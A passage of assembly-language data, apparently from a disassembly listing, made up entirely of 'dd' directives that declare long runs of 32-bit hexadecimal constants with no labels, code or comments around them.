0C71E6B6Ah, 0A0FF0EC9h, 0DDD53C24h, 9E367DDAh dd 0CBBD9C43h, 0D49B9CA9h, 5D85D829h, 51438664h, 8ACB46E3h dd 89E8878Fh, 0FFF29F70h, 0E479B331h, 765DA923h, 0C30FCF95h dd 0CB7A6D88h, 0D2CAB1DCh, 9A0C0F47h, 45C2850Dh, 0C1240B6Ch dd 0DBE0E026h, 0E6943216h, 0EC6A46D9h, 987820Fh, 0E6FA0281h dd 45AB3592h, 0AF9A40B4h, 39514204h, 0EE654D87h, 0F8660B84h dd 0CCC9B61Ch, 8ECB15AEh, 0D8269777h, 27C2E30Eh, 8DAFD946h dd 0AFEA57D0h, 1553D180h, 9DDA77Fh, 90E39655h, 44388CC7h dd 4FF63F0Ch, 92F8E2ACh, 0A1755510h, 53904Ch, 0E36DB926h dd 3EED580Eh, 0A6C9A9B4h, 0A3254DBh, 7983130Bh, 2B03EF9h dd 61F2C4E0h, 47FE28F6h, 340D2518h, 0D86D22C5h, 94F4A52Ch dd 3275C0FBh, 861CAA86h, 0A1A3B1CEh, 0E3A580DEh, 40B3C808h dd 7599F612h, 0BE1D8E6Dh, 0DE844F84h, 4D26C60Bh, 3AD464E7h dd 0B7752C9Ah, 2B4902CBh, 275549E7h, 0A81D084Dh, 76614B0Fh dd 0F70943B3h, 66F9177Ah, 0CE5E17ABh, 535ACF5Ah, 0DC5E717Ah dd 3B6E99DFh, 0A70279FAh, 0FE4A21FFh, 8A454A35h, 0F08F84AEh dd 63014B4Eh, 8E6BE06Dh, 55A21C8Dh, 14737004h, 17B6198h dd 0F1134000h, 0A30A45B0h, 7796D3BCh, 0EA7D5E5Ch, 0A52E18D4h dd 3F74297Ch, 279AD451h, 0BF48BB7Dh, 8CA12C11h, 0F32F4CA7h dd 0A3D24A80h, 1E6F5111h, 0C84F82EDh, 0B4ABC529h, 0FD21F600h dd 0C3D50561h, 5BF5338Eh, 0AE0A7912h, 8505466Bh, 0BA4814D9h dd 6CAB79EAh, 4547D439h, 4C67CB9Dh, 0AF3A15D0h, 23D66913h dd 7E53556Dh, 0DFC26C7Fh, 0A0F9291Dh, 816A016Fh, 1D3C9ACAh dd 0F873CCA9h, 2350D80h, 0DE2006CEh, 2F3481B6h, 0C1491FDDh dd 8313AF56h, 3F49F575h, 488A4795h, 2491BC43h, 0E08DE910h dd 0C300C1A2h, 61845B91h, 27B57BF7h, 5C6A0153h, 224B4169h dd 0F3590AFEh, 4E7068E6h, 19F154CBh, 0AF84D51Fh, 55279240h dd 21BFE2ECh, 332BDEC2h, 0A20BDA3Eh, 23B8844h, 0F47D71D9h dd 95D7674Dh, 0A3B3306Dh, 61DF4EACh, 0EE5C8036h, 100634D2h dd 0D8E81F8Dh, 1D952EA2h dd 0CDDB3E22h, 0BD1506F7h, 0EFF98EDh, 0D606D4F2h, 3F01D78Eh dd 0E8C70CCh, 69095A86h, 912E57C4h, 86185E69h, 1C729F70h dd 2A453991h, 989F7F8Ch, 14A6CE91h, 0A46467ACh, 3D86AF2Eh dd 157F2887h, 0D67381DAh, 0D47EE1FCh, 46965783h, 86FC29AAh dd 0E439AD46h, 68EDF5EDh, 9AACA712h, 61177E8Ah, 8F5BC527h dd 0F60ECBADh, 95C052E3h, 0CAA4F77Ch, 0A6EFE2C0h, 0F7EF6434h dd 9800A767h, 0FC74D7B9h, 0E0D6A058h, 16D68D9Ah, 0DA0DB2FFh dd 37007EB8h, 0F7DD9183h, 88981EFAh, 0B9C141FFh, 7BC421BBh dd 57CA56EEh, 32F6204Eh, 0AAA75880h, 1B657BD4h, 9CC7534Dh dd 2AB841A8h, 2EFF4FBDh, 1ED35210h, 0F559D1CFh, 83DAB3D4h dd 7BAE1467h, 11DCD59Eh, 31641604h, 9A7AD895h, 415D7609h dd 3DC47030h, 0AB1A4907h, 0F14E93B5h, 0FE01A375h, 142BE11Ch dd 810477C7h, 0F8F67BF3h, 30552562h, 0DEDEB234h, 0CB6E6933h dd 23B74603h, 0D17038EAh, 9ED9C0E4h, 0BF392304h, 0BA065D4h dd 0EF73F6B5h, 0F5B838E7h, 0FD37E635h, 587C8D25h, 32381966h dd 0B847C536h, 0E0246277h, 368D0AC1h, 7222AECEh, 5EA48C99h dd 99F5FD35h, 49D81559h, 0BD43A7Dh, 1F0E06A1h, 8CBCC200h dd 54B23D01h, 32E51DC4h, 7F6E052Eh, 0F18840B4h, 0E0E5CBBh dd 451FD2E7h, 79FA50E3h, 0EF492421h, 7DBE7719h, 84BF1BA3h dd 0EB62D329h, 7325C4D0h, 0B0790106h, 1C878942h, 4057ECF9h dd 0E332E75Bh, 0C3BF5226h, 0AD87075Ah, 634F864Dh, 5DCD51A3h dd 0D5E09B4Ch, 5E4F47B1h, 0CF4B6250h, 0E49E05C9h, 95F44807h dd 0A30F1335h, 50C31F41h, 0F48E7649h, 0D1C9A278h, 4FDCA957h dd 306247C7h, 0D194C169h, 0CCF857h, 626D39B6h, 4CBBE0F6h dd 9114A74Ah, 10240E26h, 7710D7A9h, 34E688FDh, 9936291Bh dd 4F2AF67Ah, 12CA3C31h, 0F15FB039h, 52166765h, 29C6B8F0h dd 0E60D2C52h, 4E1298C2h, 7957ED1h, 0A4756AC1h, 0D28B4F7Fh dd 331CB68Bh, 34D12E03h, 0C2869DCh, 0E0FC7924h, 0A1E028E0h dd 0F57CA27Eh, 9D3D0D0Fh, 264A4A20h, 0E726838Dh, 0EA76DEFBh dd 73D75555h, 0E5B09414h, 7973D52h, 0CDBC21B5h, 3EC74684h dd 18C27181h, 36A5831Fh, 6728A576h, 1668BEC9h, 0B6FD5177h dd 0FC1155EAh, 3AA10EA3h, 0DC257CAFh, 3F19E2DFh, 0FF600376h dd 0F880139Ch, 27603F58h, 0F5A0DFB5h, 0DBBE0C41h, 89858435h dd 4695B463h, 0F7D6B5C4h, 1308E030h, 0DE75998Eh, 0EB77D1D3h dd 2178CA5Bh, 843B0B73h, 94E85AF0h, 60EB6E1h, 2515D005h dd 8FEE0F1Fh, 0D8ECF2Ch, 949BB15Eh, 868BBA35h, 445E2B02h dd 6FD3E5h, 1172ACF2h, 6A6083A6h, 63C0EC09h, 464F1922h dd 0BA01FF5Fh, 360CF52Eh, 501538FCh, 0DC055F52h, 0BECA2B3Ch dd 5FBBC2A3h, 223D7E88h, 0E00BFFC4h, 176570B7h, 8BF34188h dd 0F95E818Ch, 0DA9D1A65h, 0CE5B649h, 6FC306ABh, 1E3E03CFh dd 0DF5941CAh, 3A1AA0B0h, 0D291DD67h, 2CCC156Fh, 0A54658F8h dd 0F8D87435h, 9CE604C9h, 535C4F35h, 0AC72C5AAh, 4292E7B8h dd 12358CC2h, 0FED0D524h, 49353D86h, 74948686h, 0B6B49D10h dd 225032CEh, 98A0121Ch, 32882C8Bh, 7B53DD6Ch, 12019A91h dd 0CA5D18BFh, 0A55A7B95h, 0C99F318Dh, 5B959CDh, 5C887E7Dh dd 0CB17004Ah, 25C8E120h, 7A5A2DCEh, 9A4409F4h, 662D35BDh dd 2C4D64F7h, 0F250F0D2h, 0D49AC6ADh, 0C3BEC5Fh, 9B42FD41h dd 2D806D8Ch, 0C2FCC71Eh, 0DCEA6374h, 656D1D10h, 4604E131h dd 6A4FEBD4h, 2CF6E446h, 806A4A9h, 0E9A8071Bh, 35D4409Eh dd 506656DAh, 36B18F03h, 28F67751h, 5122F943h, 0A98EB454h dd 508749CCh, 0E5D4A446h, 890B01ABh, 5B122588h, 98EE5FB3h dd 0E8AECBD7h, 0DB1E1D44h, 4FEDE137h, 0AFD81F7Ch, 0AE5856B0h dd 52EDEBC8h, 5C454B85h, 9A5CFD34h, 0DF78A6D2h, 10F9AED3h dd 0D5D6F7C0h, 44837C8Fh, 317282F2h, 0B1D3849Fh, 9F70476Bh dd 0EC308548h, 516B0981h, 0B017675Dh, 8B1558A0h, 8C1C48C4h dd 9977D986h, 0F0CAC3CFh, 8F1B14FCh, 22895C42h, 885701C9h dd 84C82F8Ah, 0E561E9FBh, 62DD70C2h, 0F527FE75h, 44F0C448h dd 2DB26040h, 1C8F9085h, 0B3F10EFAh, 0CB3E623h, 6CE392C6h dd 0FCD7F66Bh, 28A2ACAFh, 0E7CA172Fh, 141C5990h, 2BE1C738h dd 0B5F12E17h, 0A0161D58h, 0BE165161h, 96FC9E33h, 0E5457BAFh dd 0A468DB91h, 8A5D25BEh, 0C1CF231Eh, 0ADAB78F2h, 1E0537F9h dd 6BB37222h, 5A7AFA90h, 16090D1Eh, 83BBEEA7h, 0F99DE53Ch dd 0E93690FDh, 0E4EA5BFAh, 1033ACB3h, 13FFB4ABh, 836286D9h dd 565BFADDh, 0C182FD2h, 8D349AC6h, 9992A0B6h, 49D9E20Bh dd 8119D64Ah, 8DB983B7h, 0CA5D4B89h, 0F6080D82h, 30EB38B6h dd 0E3AD834h, 44BD2351h, 1D675476h, 0D5AAAF71h, 4A9BB73h dd 0DA6EF419h, 0E9C93818h, 0F4C16713h, 781D84CFh, 152EE213h dd 549EFBD3h, 390B4D07h, 0B43E34C4h, 7C416F25h, 8B2FD292h dd 5C0E83DFh, 914C95AFh, 0AE7979B0h, 0B9BC578Eh, 2A0AAC73h dd 84BB4C56h, 6202AF3Ch, 0D62723FBh, 0DA27731Fh, 816BC4E1h dd 0F71808A5h, 0DCCF5424h, 570DD191h, 3EA4031Dh, 0FE844F4Ah dd 536CD9FBh, 189F4934h, 54A7F2D7h, 0CDE4EF0Dh, 53B197A0h dd 67A33F2Dh, 4C4F2DABh, 0A533916Ch, 4058BD91h, 8562EA5Bh dd 78961D1h, 0BA36B09Ch, 6136AA90h, 40D17B87h, 193EAD08h dd 0B7168ED6h, 0E5D6ED1Dh, 0B54DF1D6h, 0F62432EBh, 6D92F196h dd 0E5DC1038h, 8AD5EF62h, 0F7B78864h, 0CD7ACA91h, 0D4B0FC81h dd 34FBBB1Bh, 102EF8B8h, 70D7225Ch, 992DA474h, 0F7184A5Dh dd 0CCFCD1C3h, 3C0FE51Ah, 1626EDDBh, 0C287D531h, 14EF868Eh dd 957DE0B1h, 4415BBFFh, 5D95178Bh, 0A43C77CDh, 0F67E403Eh dd 46A7D47Fh, 6E1C752Bh, 0FAFFBD20h, 8A9DFDF8h, 0BD61BDF6h dd 5EC604h, 39FB9D52h, 7DBEB6A5h, 663F576Ah, 557DB52Ch dd 2ECEBE88h, 0FEBAEA7Bh, 4DDC902Fh, 0F755043h, 5080E132h dd 0E7D69480h, 0EFB0EEF9h, 0E25A2073h, 0C123D15Dh, 216D9FA3h dd 0DD2FE986h, 2B4E65C9h, 689655C7h, 97E0B69Dh, 0C615A6B4h dd 90040A8Eh, 0DA9B379Bh, 7555CE5Bh, 0E8670D4Dh, 0EA7980F4h dd 0E6B69778h, 0F90B5C83h, 0B73DDF9Bh, 0C1B59C91h, 99BB1EB1h dd 6E9D8656h, 49C9CF2h, 1210A254h, 0CC051356h, 7C94C0DAh dd 0AE11B81Eh, 0BCC90C05h, 0D94A8173h, 74A982F7h, 0B600A625h dd 0DB0E476Dh, 170B6F46h, 19E0F08Ah, 11DD173Fh, 0DD03AF28h dd 0C7D8F560h, 7EF254B5h, 714BE6F2h, 8A49852Fh, 0EA39A49Ch dd 0A7FC2424h, 560848A5h, 0D43AB2A6h, 72A32DA5h, 0DA96F230h dd 716872AFh, 0C6C8D9A1h, 0FF8766C2h, 52975BDDh, 4C8A24AEh dd 745E73DDh, 797A2A2h, 6496915h, 1A17F67Fh, 184CC8BAh dd 63A2A3EAh, 95857943h, 35BA32Bh, 312AF0Eh, 9CE671F3h dd 0EBAAF7B1h, 0FCB17D33h, 9682123h, 41FA446Ch, 1744F68Eh dd 23C0D9C3h, 9A888D7Ch, 0FB9E9C9Dh, 0AC2C739Ah, 5D461C29h dd 69D7C977h, 0FE883344h, 460228ADh, 1888998Ah, 4C52A20Fh dd 4EFC7143h, 44EFC83Eh, 0DA0772F3h, 8478F839h, 0A7973435h dd 4B5C1744h, 78B31F8Eh, 0F8EC02D2h, 98C24F7h, 0FC4F0EA6h dd 8D29000Eh, 303DCD9Ch, 4DEF95DBh, 7C6EB8DEh, 38BAD60Ah dd 0B40A30F4h, 0F1D4532Ch, 55847B8Ah, 22FF53DDh, 90C3A78Dh dd 0E1EE1492h, 66997C7Ch, 110F3682h, 0C9620E3h, 0E96E8E86h dd 80DAB2C9h, 0EFC0104Fh dd 615E6CF1h, 5E46434Dh, 0EF47E9EFh, 6C663A13h, 7504C26h dd 953EA0Ch, 78EAD7A8h, 15474E2Ch, 6AC1D50Dh, 5BAAAC7Ah dd 50A2D224h, 0C01AD2Eh, 0A53D4A4h, 37C6287Bh, 0D4942D68h dd 0B7379467h, 0D8407CB4h, 0F5EC5229h, 8D997B54h, 11DC0EA4h dd 0F67EE276h, 87C286C1h, 2E004232h, 9C29A9A6h, 0F0CE6F09h dd 7BC713CDh, 3F3493E4h, 3D9C2BFAh, 0C716FA69h, 2B4EAD15h dd 0EDEB5D4Eh, 0A85C6000h, 0EBB9CB50h, 1971E2E1h, 91FB96C5h dd 0D504B050h, 0A3986F07h, 1AED27CBh, 7A0683F3h, 93469AB5h dd 858759A7h, 0B93F0692h, 31FB54EBh, 0AAD5B86h, 0DFEEC313h dd 0F51E89F5h, 7F4DE1C9h, 0E449960Eh, 0CB367E12h, 6F4F5E0Fh dd 54B28474h, 0AA80B734h, 59383E86h, 0D18011E0h, 0A0EAD5CCh dd 13D69502h, 676945E1h, 36EDA338h, 1ADD199Bh, 0C18A3529h dd 5725C6ADh, 9EAEC657h, 46D76E04h, 62D8093h, 0B1CA2A27h dd 0D5645CA9h, 7C92B0D2h, 48D4558Ch, 0DC3A9862h, 4476DE7Dh dd 0B69B8C60h, 581459Bh, 5250A900h, 0B17C3D12h, 0C022EFBDh dd 29AEB8BCh, 4FAE4C89h, 0AB9B72FAh, 688D6477h, 0E45C74FCh dd 27A0015Bh, 8AFD0B3Ch, 0E74860E3h, 0ECEB3328h, 96DFD41Bh dd 3087301Eh, 0BC11F66Bh, 9FF5C280h, 4A17EE2Dh, 7A54CFF0h dd 7DC524DCh, 5FEDDF3Fh, 9B3CC8F5h, 0B57B82Eh, 0E5B52F1Fh dd 9D9D36Ch, 5409DE34h, 588435E6h, 529E83h, 2BE956BBh dd 22CFB097h, 5D0858F9h, 15D83979h, 45BF001Ch, 926EF415h dd 0FF5B934Dh, 8B404FC8h, 748105C3h, 2B22A5D9h, 1F0CD12Eh dd 0EE8A9768h, 0BE070BA3h, 9DCB4BECh, 0B09DBEDEh, 9CCA636Ah dd 6731A37Eh, 0E0747DB3h, 6BF47B6h, 7580343Fh, 8A64DF48h dd 0A9F8916Bh, 337C26A5h, 882276A1h, 2098562Fh, 5B970567h dd 0CCD014BEh, 0E13786Dh, 0C2B57D2Fh, 5DD73C98h, 832170h dd 0CFA847C1h, 252506DEh, 0BB5CBDF6h, 67B946B8h, 8BAC6C5h dd 967027CEh, 652B9509h, 0D78360DEh, 0D029E8A8h, 158F4DDDh dd 77923825h, 0DF908BF4h, 0FD013CEh, 7D703D6Ah, 8F3BAD9Eh dd 0E830D268h, 0DE38DD18h, 48BCCAABh, 0FFCD8AB3h, 2DFC7DE6h dd 9FE4D932h, 4FEA4FB7h, 1692509Dh, 6694BA61h, 4E74B4A0h dd 6861235Ah, 0ED51FF18h, 3E191112h, 0BA3A5256h, 0B8ACF344h dd 194AEF7Ch, 5F04C5C9h, 0D6402820h, 0C0A633A7h, 7C42E88h dd 6EA13A60h, 0A89F39E2h, 71BA9405h, 24D0AA31h, 188D4AD4h dd 6519E15Fh, 0D6D7E035h, 0B5B9AEA8h, 81F4F31Bh, 50E9146h dd 0EA4C5CDDh, 7EE8EFD4h, 0EAE208E8h, 866A7FB3h, 0A741B429h dd 0BB3E459Dh, 0E3854F1Bh, 0C1296FA0h, 0A5C3453Fh, 55A3130Ch dd 0C698A761h, 41A08193h, 6309393Ch, 99A4115Ah, 51F6899Ch dd 0D7E4898Dh, 0B20FE813h, 51403179h, 10F1DBB6h, 1EFAEF17h dd 0BEC95D7Eh, 0E10D5396h, 0CBF41461h, 101FF25Bh, 0E91FDE47h dd 3A7A55D8h, 58287413h, 59EF7528h, 88265EC8h, 93DE798Eh dd 0B36DEC4Bh, 0D9E09744h, 0AEB0B5A6h, 94B60FAEh, 0A7AE6C03h dd 6900EDA1h, 1466BE89h, 0B7040B2Eh, 18D3F5BCh, 0A2B55111h dd 0DB646355h, 0EE16CA87h, 0D90E5D35h, 1DC7D80Eh, 0FC3844ACh dd 5164C71Eh, 7B8A40A8h, 6367059Fh, 666AFD26h, 0F03C3E49h dd 98D94530h, 0C2D8E822h, 0E8730727h, 0BA49D6EFh, 0E2047628h dd 389F527Ah, 0ADA1E3Eh, 14FA8248h, 0E4D5726Eh, 5291F83Eh dd 0B817CCC0h, 25577918h, 0BFD421BFh, 17BE5BFCh, 2384378Fh dd 242B6A4Bh, 0BDB63F8Fh, 5F0ED020h, 0FA059322h, 569A8446h dd 0D4FACB7Dh, 9BB32DCBh, 0FD22604Bh, 37A03036h, 3B9F0321h dd 0A3E30224h, 7BD28F2Ah, 4DCE7EB0h, 7039CBB4h, 269BEE94h dd 4EB4FACEh, 0E3C585CEh, 9C5F3456h, 64655A8Bh, 0A0E4F46Ch dd 1D4AFF1Dh, 7E6D5BE2h, 20C508E5h, 0EAD98C5Eh, 80D69829h dd 0F5ACB0EDh, 0F34A2A85h, 5BFFB3FCh, 0DCFAAFF5h, 0F8ACE049h dd 109B91B3h, 9F1A548h, 3DDCB714h, 4174977h, 0BB9048E8h dd 0A29F4876h, 0E9425DC0h, 5B20531Ch, 0DAE6878Eh, 2F8E91B9h dd 6E4F144Fh, 0FD89FE4Dh, 95C187A5h, 0C7FCAB01h, 717E891Ch dd 0D14FC8E5h, 2BD6B659h, 0A52BD4F1h, 816EF5B7h, 0F552CA87h dd 0BA3C3F1Ch, 7BD6B438h, 7875A246h, 0B67C9C42h, 6B278686h dd 0E1BA3534h, 0CE18B216h, 46AB1000h, 228A520h, 0DF94CF30h dd 0FAA8A3DAh, 0BBB0391Dh, 7C8B18F1h, 4E76D495h, 0ADDD37B3h dd 1B2B3A77h, 0CEB0BA9Ah, 6AE0FF2Ah, 18E0083Ah, 0A082A673h dd 9EBBDE92h, 0B4626B71h, 49FE0A86h, 99403741h, 3D4F5D93h dd 0B567E4E5h, 0EC0FA0EAh, 4D468A8Dh, 48FF0FA2h, 11616168h dd 54DC9A03h, 0E8FD7B00h, 0B28B23DEh, 3589A964h, 0C8A36108h dd 52661FFDh, 99D55C60h, 1A9E7429h, 98D75A57h, 0DE7A2484h dd 55A8C901h, 0F48D5B9Bh, 39403C83h, 0A0C258Ch, 10B99F3Fh dd 20CCB6B8h, 6C416834h, 2F73F54Dh, 0E494CF9Ch, 16DB6E81h dd 48240893h, 9132BE85h, 565D8A0Ch, 7918B535h, 81079B41h dd 705EDB50h, 0DA037419h, 0A2BFA720h, 98A8781Ah, 4402B373h dd 9DC228F2h, 8A1F181Dh, 9DC4F4FCh, 22E30C41h, 157457DAh dd 0C053BD67h, 0F00683A7h, 0AFA80654h, 6F10B200h, 0EF36ED3h dd 53C52DBDh, 0F555985Dh, 482F5386h, 126FDDBEh, 84C65A92h dd 0BF90659Eh, 0AE4148C2h, 93735A39h, 7B76A931h, 123DDC86h dd 134366ADh, 0AECC685Ah, 0C00EC47Eh, 0D0704027h, 7636B51Fh dd 13DA5968h, 0C7D41E5Dh, 80EE9063h, 0D681D64Eh, 1613E80Ch dd 1A399B78h, 2C874D42h, 708C1274h, 44359635h, 1A4446B1h dd 21F3CB1Fh, 94C86482h, 3AD8773Fh, 0A4518A63h, 694DCE6Dh dd 0DBD1DFC9h, 54651B3Dh, 1D8266EAh, 5C562648h, 0FD5E265Bh dd 0E04C39D8h, 0F987D393h, 73FFCB4h, 31129B7Dh, 0BD802933h dd 6AF11E2Ah, 1327002Bh, 9B8C47A7h, 0AB565BB3h, 0FC053265h dd 0AE0F2AB8h, 220907B5h, 0F350136h, 41179FA4h, 697CAEDDh dd 0DF57B801h, 455F1436h, 97D0C4CCh, 5D402A13h, 0C18A6850h dd 0BB9D020Ch, 847D6A23h, 328896E4h, 0E9D0B274h, 4CA928C3h dd 218E2CBCh, 5BFEF136h, 0D40CE26Dh, 137D706Bh, 1182B251h dd 0A1BD3054h, 0E3E3CF0Ch, 85CF5E7Ah, 13331149h, 0EBAC9097h dd 5D4B919Ah, 0EEE3E7BAh, 0A17E276Eh, 0ABAE8C54h, 8BB3885Bh dd 2CB4C22Ch, 9DB7FFEDh, 8277A506h, 0B7A03AD6h, 15D53783h dd 0FD3C6A8Ch, 1EDC45CBh, 0B28D80F0h, 1E1A7966h, 5FFB2AD5h dd 0E5DA9D9Ch, 1B963333h, 5384F232h, 81608354h, 0B9383FDFh dd 0A7E03CBAh, 8A22D8C9h, 4B281B64h, 4EA9DF54h, 9CA0E7D6h dd 40D83B0Ah, 207832Dh, 469885FAh, 0FEB9ADB4h, 1F869CD8h dd 0AC067BEEh, 55EA6FFBh, 0B4807E20h, 73A0AB23h, 52111525h dd 7D228B1Ah, 0DDE28264h, 0CE6ED742h, 37095F2Bh, 88E97A2Dh dd 0A6417EBDh, 0B6F800C7h, 0AF509FAEh, 2A8AAFACh, 0FC09FA3Fh dd 0E99CAECAh, 52A25283h, 469DD06Eh, 0ACE32CECh, 0F45ED653h dd 4A7DB86Eh, 0F7CF2C0Dh, 1298FFD6h, 3954AC2Bh, 0D46F7BC8h dd 95E0A5ADh, 368909A0h, 4056B87Ah, 0E8C55038h, 2C3228B4h dd 0FCBF4AFCh, 74CA386Ch, 944E74C7h, 0C7260869h, 11AB0904h dd 29799489h, 82EFD916h, 95A8BCD8h, 0FF87CB33h, 239934B4h dd 2300BC3Eh, 5BC99889h, 0FCD54F80h, 48829CA8h, 3103F4B1h dd 0C4AA26B9h, 0FB62C5F3h, 0D795D0C0h, 6CFF390Eh, 59F7B5E8h dd 0ED86D162h, 0A2FA3D2Dh dd 0F958EFB2h, 49059798h, 0DE9F2507h, 422271AEh, 95EE3571h dd 5B8C50EEh, 9BC9FF38h, 0DFAC749Eh, 0D51F4B91h, 5FF760A6h dd 6F43E2C3h, 0C8ABB6D3h, 4D38E71Ah, 0A02FFDC2h, 79D5A375h dd 0DC258039h, 0C821613Ch, 641857A4h, 0A2E5B957h, 0D7EC435Eh dd 63600EF1h, 367B6403h, 2D9AB35Eh, 23E3691Ah, 0A41D6448h dd 0F7271D6Eh, 930CF453h, 4AEC6E95h, 0B3CD7A6Fh, 56CDF9D2h dd 0FCEEC9CEh, 0CF20FA6Dh, 2437F575h, 0E9819FCBh, 5467A6B5h dd 7DE47027h, 0B202BA32h, 0A3BDBD03h, 7F330BBCh, 3E90C973h dd 0DA78ECA4h, 0AF7C1CCBh, 0EF54479Bh, 0DA425840h, 7228BCFFh dd 99C278BBh, 679C6BADh, 1A0E3512h, 0CB246BC2h, 19D8DED2h dd 120D2BCAh, 0C53CC3AEh, 5D0ED0F8h, 0AB7460D8h, 0A6688903h dd 4DA49108h, 0EB808C3h, 0C091E476h, 0C6EC3FFh, 44F99B14h dd 0DE698A1Ah, 3451022Ch, 38E82F1Fh, 0D63EC67h, 0EDD55B21h dd 0E284DBA3h, 67DEC987h, 9E577741h, 0A70B2752h, 0FA7E9AE2h dd 5266975Bh, 93D674D5h, 16D648FCh, 3F03C9B5h, 1A8143DDh dd 3F3F4BDDh, 0DD060445h, 0F6D10F15h, 0D87CD193h, 0CD33595Fh dd 3A527377h, 0B3E9AF6Fh, 41F34ECCh, 67420910h, 2143B1AEh dd 1ED393FEh, 8C145078h, 6C46BF3h, 3D3CF442h, 25EB1451h dd 0F74A8F64h, 0E209FF2Eh, 0F5F8334Bh, 0B52D30E5h, 39F352C4h dd 0D68C436Fh, 0C478DC85h, 0FA1C769Bh, 8312D4E5h, 0D905DF54h dd 0AE05F708h, 538ACA7Dh, 4D82005Fh, 2356924Ch, 0B98A81h dd 443FED66h, 0DC36578Ah, 88845A78h, 0F48A1054h, 8FF9C9DAh dd 3A6E334Dh, 0C35352A8h, 70873413h, 0B4F0087Bh, 0DDDED339h dd 1FEF3CE5h, 3BA8F72Eh, 0D1F14BB0h, 0A6B0FBF1h, 0F611EFF7h dd 35C46C2Dh, 0D8BB229h, 5C0199B9h, 0CEB31043h, 0DA3C9CB1h dd 4D4A8D60h, 0B3EDB5B6h, 0A45AF93Bh, 0B77D12E9h, 0E0B7EF74h dd 9985413Ch, 101E327Ch, 1468329h, 993A9618h, 6A531C06h dd 4C4C8081h, 820F7DA8h, 5A6CC096h, 74B9AD98h, 0A3DA23Ch dd 8A0D65E0h, 0B3ED9A19h, 81DCFA80h, 0A23AA9A1h, 23619020h dd 89836276h, 0C5C0CE3Dh, 4AD0E7D0h, 0F232D0F1h, 0FBD6A1BBh dd 0D311D09h, 528CBDD2h, 9DA72E0Eh, 5804202Eh, 0FF1F9411h dd 0A43CC6F9h, 91838EDFh, 0CE67A3E1h, 1506654Eh, 0C2EB26BDh dd 0FE2BC3Dh, 0A0AAD9F0h, 0F933C964h, 3A05182Fh, 0AD208D45h dd 0EA58E442h, 0E6CED0B0h, 7A240D1Ch, 0B79F2B88h, 0BE8635E7h dd 52BB0600h, 326C1BAAh, 4D080540h, 116B1C61h, 0A0119504h dd 0C50600F8h, 3E469209h, 9F8ECD3Fh, 41A56C4Eh, 94CB6119h dd 0FB3E0D54h, 5B8C7957h, 49F9B337h, 7DF5A173h, 0ED32552Ch dd 91DD29F4h, 0D53D1E91h, 0BA6FF33h, 177CF56Dh, 0E565987Ch dd 0B5935893h, 0B83B5298h, 0E387C0A5h, 795F66A1h, 4F5BC8CBh dd 628A28C6h, 74F02BB0h, 948D54FBh, 71FE3AADh, 0FD3FF288h dd 91432CA7h, 0B85DC2D0h, 97E007E6h, 5AFBC95h, 0B66690CBh dd 5E770BD4h, 0A3FC1FF9h, 0C1F53C03h, 5735C15Eh, 0E24AC490h dd 81131DC5h, 4D08B958h, 2AFF2B79h, 6EA932DAh, 2DD1F3D4h dd 8F5BD59Fh, 0BE1A079Dh, 36E14BCCh, 0BC795CA1h, 4BECBDC4h dd 28A733CCh, 17FC5627h, 41868047h, 183E468Ch, 0A26D0A01h dd 7E7BCCEDh, 1CC26333h, 8541B1D2h, 3289FB41h, 12219AFBh dd 3044A302h, 1D9C630Dh, 0ECFAE3Eh, 0B3C0949Dh, 1CECA254h dd 9C2EF951h, 0E720378Bh, 0B72D3030h, 0B70CEB3Ah, 94C2B844h dd 4C810CDDh, 0B941B204h, 47532DDh, 9E26D459h, 0F9B2833Eh dd 25DF1439h, 3125D1F9h, 1B671F76h, 2E2062C9h, 1CE45118h dd 745CD361h, 3A93D9ABh, 0ED24228Eh, 25C5F566h, 0E90B88C6h dd 0C9309EB6h, 319DCFC8h, 0AC64110h, 0D48ECB31h, 8D8433F6h dd 6CAAB447h, 29FE8C83h, 890BACBh, 0DD88BF09h, 0C7EB6554h dd 9F86C70Dh, 96AECEEDh, 0C45424BAh, 30DE7866h, 60CB2B7Bh dd 17926012h, 715B36DAh, 772129A1h, 87A4D335h, 0D6B8817Ah dd 0B6EFACB8h, 9E03CF85h, 139A3DE4h, 0B030ED1Ah, 6D342B34h dd 0C000771Ch, 673ACDA0h, 0A0533033h, 483A8633h, 8E81EE2Eh dd 5F77682Bh, 39E82F32h, 10974C05h, 0CC055322h, 0B7C53AAEh dd 9B377162h, 0B5D7B1AFh, 89EDB15Ah, 0B644D5C8h, 6E6C4C0Fh dd 0F6EA9A25h, 76340A1Ah, 774D2362h, 65858495h, 0ED0D67A8h dd 32BB7C1Fh, 0A48995B8h, 814BF10Ah, 1BA4F3CBh, 0AE907DCBh dd 9B68DADCh, 8106A876h, 487C657Dh, 0F935BD0Bh, 0F51D731Dh dd 0CB287679h, 5967A4Bh, 0FA537DB5h, 34001F43h, 69A1CAABh dd 0C45EAC41h, 4CF87D76h, 5F8853AFh, 239FF95h, 6575EF5Ah dd 997DAABh, 0D0B35ACEh, 1C0FE744h, 0E271C750h, 0A88163AAh dd 1B4036F4h, 9696FFBEh, 7EB48FAFh, 1396CD0Eh, 46A54246h dd 0A87B4255h, 8003796Eh, 0DA7EB9C0h, 0DA153E0Ch, 0F2649A5Dh dd 0CA4A0AF5h, 3AE340C1h, 0B5754C8Bh, 71D4FE0Ch, 1CF27F8h dd 0CDE2507Dh, 0A2A79D97h, 49CF931Eh, 8A03F1DFh, 774B6C61h dd 31A7BFBEh, 0AC445FA9h, 0B2D2EB3Dh, 36D5D8F8h, 0F7C2E8A8h dd 329B708Dh, 0DC44952Dh, 0B5772D7Dh, 0AD3CCC8Bh, 45869839h dd 0F84F0207h, 9E5B2011h, 39C75563h, 91F806A9h, 0D99429F7h dd 0E6216EF6h, 0EC58F0B4h, 0F0D632D1h, 0A31FF1A8h, 402F344Bh dd 9F8A4D10h, 0B7C19B4Ch, 62C237Ch, 62672C98h, 0CA3CCDD1h dd 4E8FAABCh, 0BFE05EE5h, 18113309h, 5C9C86ABh, 0EB318E38h dd 58674556h, 4F7C7C91h, 53DC5DEFh, 232E95EEh, 82549872h dd 8C2948FAh, 2BE6805Fh, 40A0D15Dh, 38546F56h, 0B263CF71h dd 0CBB385FAh, 5F0F5FB8h, 6BF9F966h, 6F41E7F3h, 0C8B0F01Eh dd 545753D1h, 0C8E11533h, 0F081461Eh, 0F0F6C3A2h, 9CD1E581h dd 25BD8AD8h, 125B8EE7h, 6913C882h, 58E65885h, 9FC218C0h dd 5F29DB59h, 4BC61215h, 0ACC843C4h, 3D839Bh, 0A61B59D6h dd 8854403Ch, 0FDF40DE1h, 3931ED41h, 39D5CC00h, 25153A1Ch dd 